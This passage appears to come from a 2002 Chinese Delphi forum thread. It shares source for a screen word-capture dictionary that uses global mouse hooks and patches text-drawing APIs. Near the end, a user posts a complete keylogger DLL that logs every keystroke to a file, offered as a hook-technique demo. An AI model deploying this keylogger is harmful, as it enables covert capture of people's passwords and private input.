if (CommonData=nil) or (not CommonData^.bCapture) then begin
exit;
end;
mouseWnd := WindowFromPoint(CommonData^.MousePos);
if (mouseWnd=CommonData^.CallBackHandle) then begin
exit;
end;
szClass := StrAlloc(256);
GetClassName(mouseWnd, szClass, 255);
strClass := Strpas(szClass);
StrDispose(szClass);
CommonData^.bInSpec := FALSE;
if (Pos('Internet Explorer_Server', strClass)>0) then begin
GetWindowRect(mouseWnd, rect);
iLeft := rect.Left - 4;
iWidth := rect.Right - rect.Left + 14;
if (CommonData^.MousePos.x - iLeft > 200) then begin
iLeft := CommonData^.MousePos.x - 200;
iWidth := 210;
end;
CommonData^.bInSpec := TRUE;
end
else begin
iLeft := CommonData^.MousePos.x - 1;
iWidth := 1;
end;
// InstallGanFilter;
(*
SetWindowPos(CommonData^.hWndFloat,
HWND_TOPMOST,
CommonData.MousePos.x, CommonData.MousePos.y, 10, 10,
SWP_NOACTIVATE or SWP_SHOWWINDOW);
ShowWindow(CommonData^.hWndFloat, SW_HIDE);
*)
CommonData^.BufferA := '';
SetWindowPos(CommonData^.hWndFloat,
HWND_TOPMOST,
iLeft{CommonData.MousePos.x-1}, CommonData.MousePos.y-1,
iWidth, 2,
88{SWP_NOACTIVATE or SWP_NOREDRAW});
SendMessage(CommonData^.hWndMouse, idMsg, 0, 0);
MoveWindow(CommonData^.hWndFloat, -1, -1, 1, 1, TRUE);
{
SetWindowPos(CommonData^.hWndFloat,
HWND_TOPMOST,
CommonData.MousePos.x, CommonData.MousePos.y,
120, 1,
SWP_NOACTIVATE or SWP_SHOWWINDOW);
ShowWindow(CommonData^.hWndFloat, SW_HIDE);
}
SetTimer(CommonData^.hWndFloat, 2, 300, @GanGetWordTimer);
end;
procedure InitCoverWindow(hInst : LongWord);
var
WndClass : TWndClass; //Ex;
begin
with WndClass do begin
style := WS_EX_TOPMOST;
lpfnWndProc := @CoverMainProc; (*消息处理函数*)
hInstance := hInst;
hbrBackground := color_btnface + 1;
lpszClassname := 'GanFreeDict';
hicon := 0;
hCursor := 0;
cbClsExtra := 0;
cbWndExtra := 0;
end;
try
if not BOOL(RegisterClass{Ex}(WndClass)) then begin
MessageBox(0,
PChar(Format('$EEEE, Can not register class CHILD %d',[GetLastError])),
'Register Error',
MB_OK);
end;
except
MessageBox(0, 'EXCEPTION', 'Register Class', MB_OK);
end;
hWndCover := CreateWindowEx(WS_EX_TOPMOST or WS_EX_TOOLWINDOW,
'GanFreeDict',
'^_^',
WS_POPUP or WS_VISIBLE,
-1,-1,1,1,
0,
0,
hInst, // GetModuleHandle('dll.dll'), // 98 for this, 2000 for 0
nil);
if CommonData<>nil then begin
CommonData^.hWndFloat := hWndCover;
end;
SetTimer(hWndCover, 1, 450, @WndCoverTimer);
end;
(******************************************************************************)
function GanServerProc(
hWnd:LongWord;
Message:LongWord;
wParam:WPARAM;
lParam:LPARAM
):BOOL;stdcall;
begin
if (Message=idMsg) then begin
if (wParam = 0) then begin
InstallGanFilter;
end
else begin
UnInstallGanFilter;
end;
end;
case Message of
WM_CLOSE :
begin
DestroyWindow(hWnd);
// PostQuitMessage(0);
end;
end;
result := BOOL(DefWindowProc(hWnd, Message, lParam, lParam));
end;
procedure InitServerWnd;
var
WndClass : TWndClass; //Ex;
begin
with WndClass do begin
style := WS_EX_TOPMOST;
lpfnWndProc := @GanServerProc; (*消息处理函数*)
hInstance := GetModuleHandle('GFDict.dll');
hbrBackground := color_btnface + 1;
lpszClassname := 'GanServerDict';
hicon := 0;
hCursor := 0;
cbClsExtra := 0;
cbWndExtra := 0;
end;
try
if not BOOL(RegisterClass{Ex}(WndClass)) then begin
MessageBox(0,
PChar(Format('Can not register class server %d',[GetLastError])),
'Register Error',
MB_OK);
end;
except
MessageBox(0, 'EXCEPTION', 'Register Server Class', MB_OK);
end;
hWndServer := CreateWindowEx(WS_EX_TOPMOST or WS_EX_TOOLWINDOW,
'GanServerDict',
'Gan Server',
WS_POPUP or WS_VISIBLE,
-1,-1,1,1,
0,
0,
0, //hInst, // GetModuleHandle('dll.dll'), // 98 for this, 2000 for 0
nil);
if (hWndServer=0) then begin
MessageBeep(0);
end;
end;
(******************************************************************************)
procedure InitThunkCode;
var
tfType : TThunkFunc;
hMod : HMODULE;
pSysFunc, pThunkFunc : Pointer;
begin
for tfType := LOW(TThunkFunc) to HIGH(TThunkFunc) do begin
// clear to zero
FillChar(ThunkCodeArr[tfType], sizeof(TThunkCode), 0);
// fill it by right value
hMod := 0;
hMod := GetModuleHandle(PChar(ThunkFuncNameArr[tfType].strMod));
if hMod = 0 then continue;
pSysFunc := nil;
pSysFunc := GetProcAddress(hMod,
PChar(ThunkFuncNameArr[tfType].strSysProc));
if pSysFunc = nil then continue;
pThunkFunc := nil;
pThunkFunc := GetProcAddress(hInstance,
PChar(ThunkFuncNameArr[tfType].strThunkProc));
if pThunkFunc = nil then continue;
// now fill it!
ThunkCodeArr[tfType].addr_sys := pSysFunc;
ThunkCodeArr[tfType].addr_thunk := pThunkFunc;
ThunkCodeArr[tfType].codeThunk.siJmp := ShortInt($E9); // jmp ____
ThunkCodeArr[tfType].codeThunk.dwAddr :=
DWORD(pThunkFunc) - DWORD(pSysFunc) - 5;
ThunkCodeArr[tfType].codeBak.siJmp := PByte(pSysFunc)^;
ThunkCodeArr[tfType].codeBak.dwAddr := PDWORD(DWORD(pSysFunc)+1)^;
end;
end;
{================== Install Mouse Hook Support ==============================}
function MousePosHookHandler(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
pMouse : PMOUSEHOOKSTRUCT;
mPoint : TPoint;
rect : TRect;
bMousePosChg : boolean;
begin
if iCode < 0 then
begin
Result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);
end
else
if (CommonData<>nil) and
(CommonData^.bCapture) and
(TryEnterCriticalSection(m_CriticalSection))
then begin
{$IFDEF WIN_9X}
if bFirst then begin
bFirst := false;
// InstallGanFilter;
InitCoverWindow;
end;
{$ENDIF}
pMouse := PMOUSEHOOKSTRUCT(lParam);
if (CommonData<>nil) then begin
CommonData.MousePos := pMouse.pt;
CommonData.hWndCapture := pMouse.hWnd;
PostMessage(CommonData.CallBackHandle, idMsg, 0, 1);
end;
if (GetCurrentProcessID <> CommonData^.CallBackProcID) then begin
CommonData^.hWndMouse := hWndServer;
mPoint := pMouse^.pt;
ScreenToClient(pMouse^.hwnd, mPoint);
if Assigned(CommonData) then
CommonData.MousePClient := mPoint;
end
else begin
CommonData^.hWndMouse := 0;
end;
(*
if (pMouse.pt.x = LastMousePos.x) and (pMouse.pt.y = LastMousePos.y) then
bMousePosChg := false
else begin
bMousePosChg := true;
LastMousePos := pMouse.pt;
end;
if (wParam = WM_MOUSEMOVE)
and true
{$IFDEF WIN_9X}
and (hWndCover <> 0)
{$ENDIF}
and bMousePosChg
and (not b_InCS)
and (GetTickCount - LastTime > G_DELAY_TIME) then
begin
LastTime := GetTickCount;
// whether in my window
if (CommonData<>nil) and
(GetCurrentProcessID = CommonData^.CallBackProcID) then begin
result := 0;
LeaveCriticalSection(m_CriticalSection);
result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);
exit;
end;
mPoint := pMouse^.pt;
ScreenToClient(pMouse^.hwnd, mPoint);
if Assigned(CommonData) then
CommonData.MousePClient := mPoint;
rect.TopLeft := mPoint;
rect.Right := mPoint.x + 2;
rect.Bottom := mPoint.y + 1;
// Work for NT 2000 XP
{$IFDEF WIN_NT}
InstallGanFilter;
if Assigned(CommonData) then
CommonData.BufferA := '';
InvalidateRect(pMouse^.hWnd, @rect, TRUE);
if (mPoint.X<0) or (mPoint.Y<0) then
SendMessage(pMouse.hwnd, WM_NCPAINT, 1, 0)
else
SendMessage(pMouse.hwnd, WM_PAINT, 0, 0);
UninstallGanFilter;
if Assigned(CommonData) and (CommonData.BufferA='') then begin
SendMessage(CommonData.CallBackHandle, idMsg, 0, 2);
end;
{$ENDIF}
// flowing work on 98
{$IFDEF WIN_9X}
if (hWndCover <> 0) then begin
SetWindowPos(hWndCover, 0, pMouse.pt.X, pMouse.pt.Y, 4, 1,
SWP_NOZORDER or SWP_NOACTIVATE);
ShowWindow(hWndCover, SW_SHOW);
// EnterCriticalSection(m_CriticalSection);
InstallGanFilter;
ShowWindow(hWndCover, SW_HIDE);
// LeaveCriticalSection(m_CriticalSection);
end;
{$ENDIF}
end;
*)
LeaveCriticalSection(m_CriticalSection);
Result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);
end
else begin
Result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);
end;
end;
function EnableMouseHook(hld:hwnd; ProcessID : DWORD; hInst:THandle): BOOL; export;
begin
Result := False;
if hNextHookProc <> 0 then Exit;
hNextHookProc := SetWindowsHookEx(WH_MOUSE, MousePosHookHandler,Hinstance, 0);
// GetWindowThreadProcessID(hWnd, nil));
InitCoverWindow(hInst);
if CommonData <> nil then begin
CommonData^.CallBackHandle := hld;
CommonData^.CallBackProcID := ProcessID;
end;
Result :=hNextHookProc <> 0 ;
end;
function DisableMouseHook: BOOL; export;
begin
try
if hNextHookProc <> 0 then
begin
KillTimer(CommonData^.hWndFloat, 1);
KillTimer(CommonData^.hWndFloat, 2);
SendMessage(CommonData^.hWndFloat, WM_CLOSE, 0, 0);
CommonData^.hWndFloat := 0;
UnInstallGanFilter;
UnhookWindowshookEx(hNextHookProc);
hNextHookProc := 0;
end;
Result := hNextHookProc = 0;
except
MessageBeep(0);
end;
end;
function SetCaptureFlag(bSet:BOOL):BOOL; export;
begin
if CommonData<>nil then begin
result := TRUE;
CommonData^.bCapture := bSet;
end
else begin
result := FALSE;
end;
end;
procedure DllMain(dwReason : DWORD);
begin
case dwReason of
DLL_PROCESS_ATTACH :
begin
// InstallGanFilter;
// InitCoverWindow;
end;
DLL_PROCESS_DETACH :
begin
if (hWndServer <> 0) then begin
SendMessage(hWndServer, WM_CLOSE, 0, 0);
hWndServer := 0;
try
UnRegisterClass('GanServerDict', hInstance);
except
MessageBeep(0);
end;
end;
UnInstallGanFilter;
if CommonData<>nil then begin
try
UnMapViewOfFile(CommonData);
CommonData := nil;
CloseHandle(HMapFile);
HMapFile := 0;
except
MessageBox(0,
'Error when free MapViewFile',
'FreeDict Error',
MB_OK);
end;
end;
(*
if (hWndCover <> 0) then begin
try
DestroyWindow(hWndCover);
hWndCover := 0;
if (UnRegisterClass('GanFreeDict', hInstance)) then
{MessageBox(0,
'Success to Unregister _GanFreeDict_ Class',
'Success',
MB_OK);}
except
MessageBox(0,
'Error when Destroy window and UnRegisterClass',
'FreeDict Error',
MB_OK);
end;
end;
*)
if hProc<>0 then begin
try
CloseHandle(hProc);
hProc := 0;
except
MessageBox(0,
'Error when CloseHandle',
'FreeDict Error',
MB_OK);
end;
end;
DeleteCriticalSection(g_CriticalSection);
DeleteCriticalSection(m_CriticalSection);
end;
DLL_THREAD_ATTACH :
begin
end;
DLL_THREAD_DETACH :
begin
end;
end;
end;
exports
EnableMouseHook,
DisableMouseHook,
GanTextOutA,
GanTextOutW,
GanExtTextOutA,
GanExtTextOutW,
GanDrawTextA,
GanDrawTextW,
SetCaptureFlag;
begin
InitializeCriticalSection(g_CriticalSection);
InitializeCriticalSection(m_CriticalSection);
b_InCS := false;
hNextHookProc := 0;
hProc := 0;
bFirst := true;
bDllInstalled := false;
hWndCover := 0;
hWndServer := 0;
CommonData := nil;
HMapFile := 0;
LastTime := 0;
FillChar(LastMousePos, sizeof(TPoint), 0);
idMsg := RegisterWindowMessage(STR_MSGNOTIFY);
MapCommonData;
hProc := OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
GetCurrentProcessID());
InitThunkCode;
InitServerWnd;
// InitCoverWindow;
// DisableThreadLibraryCalls(hInstance);
DLLProc := @DLLMain;
DLLMain(DLL_PROCESS_ATTACH);
end.
huiyugan (2002-05-25 13:42:00)
工程FreeDict.dpr
主程序
program FreeDict;
uses
Forms,
untMain in 'untMain.pas' {frmGanDict},
untAbout in 'untAbout.pas' {AboutBox},
untTypes in 'untTypes.pas';
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TfrmGanDict, frmGanDict);
Application.CreateForm(TAboutBox, AboutBox);
Application.Run;
end.
cozo (2002-05-25 13:44:00)
好人哪！学习中，没看懂。
huiyugan (2002-05-25 13:44:00)
单元untMain.pas的代码，窗体设置见下
(*******************************************************************************
* Copy Right (C) Gan Huaxin 2001, 2002, huiyugan@263.net
* A Free Screen Words Capture Library
* Dedicated to my GirlFriend Sunny, Happy for ever
*
* Version Date Modification
* 0.1 2001-11-07~09 New, oly a test
* Can Get Word, Sometimes occure error
* 0.2 2002-05-14~16 Some Bugs Fixed,And
*******************************************************************************)
unit untMain;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, untTypes;
type
TfrmGanDict = class(TForm)
btnLoad: TButton;
btnUnLoad: TButton;
lblHwnd: TLabel;
btnAbout: TButton;
lblMousePos: TLabel;
memoThunk: TMemo;
lblFontWidth: TLabel;
lblRect: TLabel;
procedure btnLoadClick(Sender: TObject);
procedure btnUnLoadClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure btnAboutClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure WndProc(var Mess: TMessage); override;
end;
var
frmGanDict: TfrmGanDict;
implementation
uses untAbout;
{$R *.DFM}
var
HMapFile:THandle;
CommonData:^TCommonData;
const
STR_MSGNOTIFY
char='WM_GANNOTIFY';var
idMsg : UINT;
function EnableMouseHook(hld:hwnd; ProcessID : DWORD; hInst : THandle): BOOL; external 'GFDict.dll';
function DisableMouseHook: BOOL; external 'GFDict.dll';
function SetCaptureFlag(bFlag:BOOL): BOOL; external 'GFDict.dll';
procedure MapCommonData;
var FirstCall: Boolean;
begin
HMapFile:=OpenFileMapping(FILE_MAP_WRITE, False, 'GanGan_ThunkDict');
FirstCall:=(HMapFile = 0);
if FirstCall then
HMapFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,
0,SizeOf(TCommonData),
'GanGan_ThunkDict');
CommonData:= MapViewOfFile(HMapFile, FILE_MAP_WRITE, 0, 0, 0);
if FirstCall then FillChar(CommonData^, SizeOf(TCommonData), 0);
end;
procedure TfrmGanDict.btnLoadClick(Sender: TObject);
begin
if not EnableMouseHook(handle, GetCurrentProcessID, Application.Handle) then
ShowMessage('ERROR')
else
SetCaptureFlag(TRUE);
end;
procedure TfrmGanDict.btnUnLoadClick(Sender: TObject);
begin
DisableMouseHook;
end;
procedure TfrmGanDict.FormDestroy(Sender: TObject);
begin
DisableMouseHook;
if CommonData<>nil then begin
UnMapViewOfFile(CommonData);
CommonData := nil;
CloseHandle(HMapFile);
HMapFile := 0;
end;
end;
procedure TfrmGanDict.FormCreate(Sender: TObject);
begin
idMsg := RegisterWindowMessage(STR_MSGNOTIFY);
CommonData := nil;
MapCommonData;
SetWindowPos(Handle, HWND_TOPMOST, 0, 0, 0, 0,
SWP_NOSIZE or SWP_NOMOVE);
end;
const
StrProcNames : array[0..5] of String =
('TextOutA',
'TextOutW',
'ExtTextOutA',
'ExtTextOutW',
'DrawTextA',
'DrawTextW');
procedure TfrmGanDict.WndProc(var Mess: TMessage);
begin
case Mess.LParam of
0:
begin
if (mess.msg = idMsg) then begin
if (Mess.wParam >=0) and (Mess.WParam <= 5) then begin
lblHwnd.Caption := StrProcNames[mess.wParam]; //Format('Handle : 0x%X', [mess.wParam]);
if CommonData <> nil then with CommonData^ do begin
memoThunk.Text := CommonData.BufferA;
lblRect.Caption := Format('Client X:%d, Y:%d, Rect[%d,%d,%d,%d]',
[MousePClient.x, MousePClient.y,
Rect.Left, Rect.Top, Rect.Right, Rect.Bottom]);
// lblThunkText.Caption := CommonData.BufferA;
end
end else
lblHwnd.Caption := 'UnKnow Message';
end;
end;
1:
begin
if CommonData<>nil then with CommonData^ do
lblMousePos.Caption := Format('Mouse Pos X : %d, Y : %d',
[MousePos.X,
MousePos.Y]);
end;
2:
begin
memoThunk.Text := '---';
end;
3:
begin
lblFontWidth.Caption := Format('Font Width : %d', [mess.wParam]);
end;
end;
inherited;
end;
procedure TfrmGanDict.btnAboutClick(Sender: TObject);
begin
AboutBox.ShowModal;
end;
end.
（××××××××××××下面试窗体设置×××××××××××）
object frmGanDict: TfrmGanDict
Left = 564
Top = 163
Width = 280
Height = 237
Caption = 'Gan'#39's Free Dict'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
OnCreate = FormCreate
OnDestroy = FormDestroy
PixelsPerInch = 96
TextHeight = 13
object lblHwnd: TLabel
Left = 8
Top = 8
Width = 76
Height = 13
Caption = 'Window Handle'
end
object lblMousePos: TLabel
Left = 8
Top = 152
Width = 56
Height = 13
Caption = 'Mouse Pos:'
end
object lblFontWidth: TLabel
Left = 8
Top = 192
Width = 52
Height = 13
Caption = 'Font Width'
end
object lblRect: TLabel
Left = 8
Top = 176
Width = 23
Height = 13
Caption = 'Rect'
end
object btnLoad: TButton
Left = 104
Top = 112
Width = 75
Height = 25
Caption = 'Load'
TabOrder = 0
OnClick = btnLoadClick
end
object btnUnLoad: TButton
Left = 192
Top = 112
Width = 75
Height = 25
Caption = 'UnLoad'
TabOrder = 1
OnClick = btnUnLoadClick
end
object btnAbout: TButton
Left = 192
Top = 144
Width = 75
Height = 25
Caption = 'About'
TabOrder = 2
OnClick = btnAboutClick
end
object memoThunk: TMemo
Left = 8
Top = 24
Width = 257
Height = 81
TabOrder = 3
end
end
huiyugan (2002-05-25 13:45:00)
单元untAbout
unit untAbout;
interface
uses Windows, SysUtils, Classes, Graphics, Forms, Controls, StdCtrls,
Buttons, ExtCtrls;
type
TAboutBox = class(TForm)
Panel1: TPanel;
ProgramIcon: TImage;
ProductName: TLabel;
Version: TLabel;
Copyright: TLabel;
Comments: TLabel;
OKButton: TButton;
private
{ Private declarations }
public
{ Public declarations }
end;
var
AboutBox: TAboutBox;
implementation
{$R *.DFM}
end.
其窗体
object AboutBox: TAboutBox
Left = 408
Top = 366
BorderStyle = bsSingle
Caption = 'About'
ClientHeight = 213
ClientWidth = 298
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = True
Position = poScreenCenter
PixelsPerInch = 96
TextHeight = 13
object Panel1: TPanel
Left = 8
Top = 8
Width = 281
Height = 161
BevelInner = bvRaised
BevelOuter = bvLowered
ParentColor = True
TabOrder = 0
object ProgramIcon: TImage
Left = 8
Top = 8
Width = 65
Height = 57
Picture.Data = {
07544269746D617076020000424D760200000000000076000000280000002000
0000200000000100040000000000000200000000000000000000100000000000
000000000000000080000080000000808000800000008000800080800000C0C0
C000808080000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFF
FF00000000000000000000000000000000000EE8787878EEEEEEE03F30878EEE
EEE00EE8787878EEEEEEE03F30878EEEEEE00EE8787878EEEEEEE03F30878EEE
EEE00EE8787878EEEEEEE03F30878EEEEEE00887787877788888803F3088787E
EEE00788787878878887803F3088887EEEE00788887888878887803F3088887E
EEE00877888887788888703F308887EEEEE00888777778888888037883088888
8EE007777777777777703787883087777EE00888888888888803787FF8830888
888008888888888880378777778830888880077777777788037873F3F3F87808
88E00888888888803787FFFFFFFF8830EEE00887777778800001111111111100
EEE00888888888888899B999B99999EEEEE00888888888888899B9B99BB9B9EE
EEE0088888888888899BB9BB99BB99EEEEE0078888888888899B999B999999EE
EEE0087788888778899B9B9BB9BB99EEEEE00888778778888E9B9B9BB9999EEE
EEE0088888788888EE9B99B9BB9BEEEEEEE00EE8888888EEEEE999B9999EEEEE
EEE00EEEE888EEEEEEEE99BB999EEEEEEEE00EEEEE8EEEEEEEEEE999B9EEEEEE
EEE00EEEEE8EEEEEEEEEEEE999EEEEEEEEE00EEEEE8EEEEEEEEEEEEE99EEEEEE
EEE00EEEEE8EEEEEEEEEEEEE9EEEEEEEEEE00EEEEE8EEEEEEEEEEEEEEEEEEEEE
EEE00EEEEEEEEEEEEEEEEEEEEEEEEEEEEEE00000000000000000000000000000
0000}
Stretch = True
IsControl = True
end
object ProductName: TLabel
Left = 88
Top = 16
Width = 155
Height = 13
Caption = 'Product Name: Gan'#39's Get Words'
IsControl = True
end
object Version: TLabel
Left = 88
Top = 40
Width = 107
Height = 13
Caption = 'Version : 0.01 (c) 2002'
IsControl = True
end
object Copyright: TLabel
Left = 8
Top = 80
Width = 152
Height = 13
Caption = 'Copyright (C) Gan Huaxin , 2002'
IsControl = True
end
object Comments: TLabel
Left = 8
Top = 104
Width = 265
Height = 39
Caption = 'Comments : Only a TEST'
WordWrap = True
IsControl = True
end
end
object OKButton: TButton
Left = 111
Top = 180
Width = 75
Height = 25
Caption = 'OK'
Default = True
ModalResult = 1
TabOrder = 1
end
end
huiyugan (2002-05-25 13:49:00)
GanFreeDictGrp.bpg.工程组文件
#------------------------------------------------------------------------------
VERSION = BWS.01
#------------------------------------------------------------------------------
!ifndef ROOT
ROOT = $(MAKEDIR)/..
!endif
#------------------------------------------------------------------------------
MAKE = $(ROOT)/bin/make.exe -$(MAKEFLAGS) -f$**
DCC = $(ROOT)/bin/dcc32.exe $**
BRCC = $(ROOT)/bin/brcc32.exe $**
#------------------------------------------------------------------------------
PROJECTS = GFDict.dll FreeDict.exe
#------------------------------------------------------------------------------
default: $(PROJECTS)
#------------------------------------------------------------------------------
GFDict.dll: GFDict.dpr
$(DCC)
FreeDict.exe: FreeDict.dpr
$(DCC)
cozo (2002-05-25 13:53:00)
这样吧，你把源码发到我的信箱，我上传到我的网站上去，不是更好？cozo@etang.com
wzhiwei (2002-05-25 14:00:00)
我也要一份
wzhiwei99@etang.com
huiyugan (2002-05-25 14:01:00)
to cozo:
我已经发了过去，请注明一些信息。
jingtao (2002-05-25 14:08:00)
good
现在已经很少这种好人了.
jrq (2002-05-25 15:20:00)
多谢！
－－－－－－－
将上面代码编译了一下，果然桌面图标和IE中的全部可以取到！
看来很久没有解决的问题可以完成了！
不过IE中闪烁很厉害，取到的词语位置也不是很准确！
huiyugan (2002-05-25 14:11:00)
JingTao:你是否试CSDN的蒋涛？
jingtao (2002-05-25 14:15:00)
NO
他的帐号好像是JIANGTAO
我是藏鲸阁的
http://www.138soft.com
如果需要可以帮你在我的论坛上面为你开一个论坛
cozo (2002-05-25 14:32:00)
文件已上传，下载地址：http://cozo.diy.163.com/FreeDict.zip
网页地址：http://cozo.diy.163.com/
信息已注明。不过我的网站刚刚申请，还没什么东西。望不要见怪。
huiyugan (2002-05-25 14:40:00)
大家可以去cozo的网站上下代码了。
我这个人比较懒，没有建设网站的欲望。
那是一个完整的工程。
huiyugan (2002-05-25 14:41:00)
请上述提供email地址的同志去
http://cozo.diy.163.com上去下吧。我一个一个发太累了。
huiyugan (2002-05-25 14:43:00)
To JingTao：
你打算开一个主要讨论哪一方面的论坛？
jingtao (2002-05-25 14:45:00)
我的意思是说在http://bbs.138soft.com上面为你开一个论坛
你来当版主.至于内容和标题之类肯定是你来定.
---如果你需要的话.
jingtao (2002-05-25 14:55:00)
代码同时放到了
http://www.138soft.com
已经注明版权所有问题(在说明.TXT里面)
期待更多这样的人出现
huiyugan (2002-05-25 16:36:00)
嘿，大家都是靠外界信息来学习嘛，
所以如果大家又什么心得一定要共享嘛。
也许，在中国，很多事情都变味了，就象
《胜者为王》中Linus说了Linux在中国的发展说
的一些话。
gondsoft (2002-05-25 17:02:00)
jingtao:
能否将我最近发布的 KICQ即时通信系统 放在你的网站上提供下载...?我的主页空间不支持
外部链接访问~
下载:
http://gond.go.163.com 中的 网络软件 部分,
文件类型:rar 解压密码:gondsoft
下载说明:
kICQ-020521(客户端)
KICQserver-020521(服务器)
KQchat-020521(服务器资料库)
即时通信系统,功能仿OICQ
huiyugan (2002-05-25 21:59:00)
呵呵，我从来没有用过呼叫
yzhshi (2002-05-25 20:17:00)
在线富翁->点击对应人的闪电符号
real_clq (2002-05-25 20:32:00)
jingtao兄，你的主页空间在哪租的？我也想弄一个。
jingtao (2002-05-25 20:39:00)
gondsoft:迟点好吗?别人准备给我一个1GB的空间.
real_clq: http://www.jnbiz.com空间他们送的. 域名是别人送的.
sima (2002-05-25 20:43:00)
向楼主致敬！
请全体同志起立！
huiyugan (2002-05-25 21:58:00)
没什么
emonster (2002-05-25 22:00:00)
致敬！
zw84611 (2002-05-26 8:58:00)
致敬！
wddelphi (2002-05-26 9:11:00)
我用过《金山词霸》和《IBM智能词典2000》，在取词时都有一个问题，就是在有些地方
无法正确的取词，比如，在桌面，而且有个规律：“a”－>“D”、“b”－>“E”、
“c”－>“F”……，用了贴主的程序后，发现也是如此，想问一下huiyugan先生，截取
消息的方法应该是对的，但windows能正确显示这些字符，为什么各类取词软件都不能正
确地取词，是消息截取得不对？还是分析的不对？
我用的是win2000+sp2+ie6+dx8。（ie5+dx7也一样）
linsb (2002-05-26 9:48:00)
To huiyugan
非常感谢提供完整的源代码！
第二次启动为什么会出现：
Register Error 错误信息，如何避免？
huiyugan (2002-05-26 12:46:00)
这是因为二次注册WindowClass.
我说过，这份代码是个雏形，这种小问题偶没有修正。
但不影响功能
dingbaosheng (2002-05-26 13:30:00)
good~~~~~
孔明.net (2002-05-26 13:48:00)
试试先。
luoma (2002-05-26 16:00:00)
帅呆了!感谢
huiyugan (2002-05-26 16:05:00)
To JingTao:
我还有一个东西能否也放到你的网站上，为了方便众多学习的网友？
是一个关于进程注入，线程隐藏的东西，还包含了一个时钟呢。
jingtao (2002-05-26 16:35:00)
是不是关于进程三级跳的?好的.麻烦发到我信箱我帮你上传.
webmaster@138soft.com需要注明版权之类的吗?
我这里也有一个.朋友写的.
{
win9X,NT,w2k 中的系统钩子示例程序(Delphi 版)
-----------------------------------------------------
windows下的WH_CALLWNDPROC和WH_GETMESSAGE钩子是两种很有用的HOOK类型，他能过滤大部分的
windows消息，但是要做成系统级的钩子，就要使用动态链接库，这样做很困难，因为涉及到多
线程及全局变量，等问题，当然在某些情况下还会有线程同步及同步冲突问题，关于同步问题
暂时不在这讲，因为这儿用不到，以后会举同步的例子，由于这些原因常会导致错误，本程序
用了一个巧妙的方法解决了这个问题，主要技巧是不用*.exe，只用*.dll，并用windows自带的
rundll32.exe程序来运行这个GetKey.dll，本程序能过滤wm_char,和wm_ime_char消息，所以能
得到键盘输入的任何字中英文字符，结果存在C;/key.txt中,使用方法为:
rundll32 GetKey.dll,run
下面这个程序用Delphi设计，没有用delphi的控件，只用了win32 api，所以通用于Delphi的任
何版本，当然你也可以用c来实现,有看不懂的可以写信给我，这是第一版，可能有BUG,大家发
现了通知我一下，欢迎大家和我一起来讨论HOOK技术:
-----------------------------------------------------
First Created:njhhack 2001.6.14 (ver1.0)
电子信箱:njhhack@21cn.com
主页:hotsky.363.net
}
library GetKey;
uses windows,messages,sysutils;
{$r *.res}
const
HookMemFileName='HookMemFile.DTA';
type
PShared=^TShared;
PWin=^TWin;
TShared = record
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
Self:integer;
Count:integer;
hinst:integer;
end;
TWin = record
Msg:TMsg;
wClass:TWndClass;
hMain:integer;
end;
var
MemFile:THandle;
Shared
Shared;Win:TWin;
procedure SaveInfo(str:string);stdcall;
var
f:textfile;
begin
assignfile(f,'c:/key.txt');
if fileexists('c:/key.txt')=false then rewrite(f)
else append(f);
if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')
else write(f,str);
closefile(f);
end;
procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
begin
if (uMessage=WM_CHAR) and (lParam<>1) then
begin
SaveInfo(format('%s',[chr(wparam and $ff)]));
inc(shared^.count);
if shared^.count>60 then
begin
SaveInfo('#13#10');
shared^.count:=0;
end;
end;
if (uMessage=WM_IME_CHAR) then
begin
SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));
inc(shared^.count,2);
end;
end;
function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs
MSG;hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);
end;
function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs
CWPSTRUCT;hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);
end;
procedure SetHook(fSet:boolean);
begin
with shared^ do
if fSet=true then
begin
if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);
if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;
end else
begin
if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);
if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);
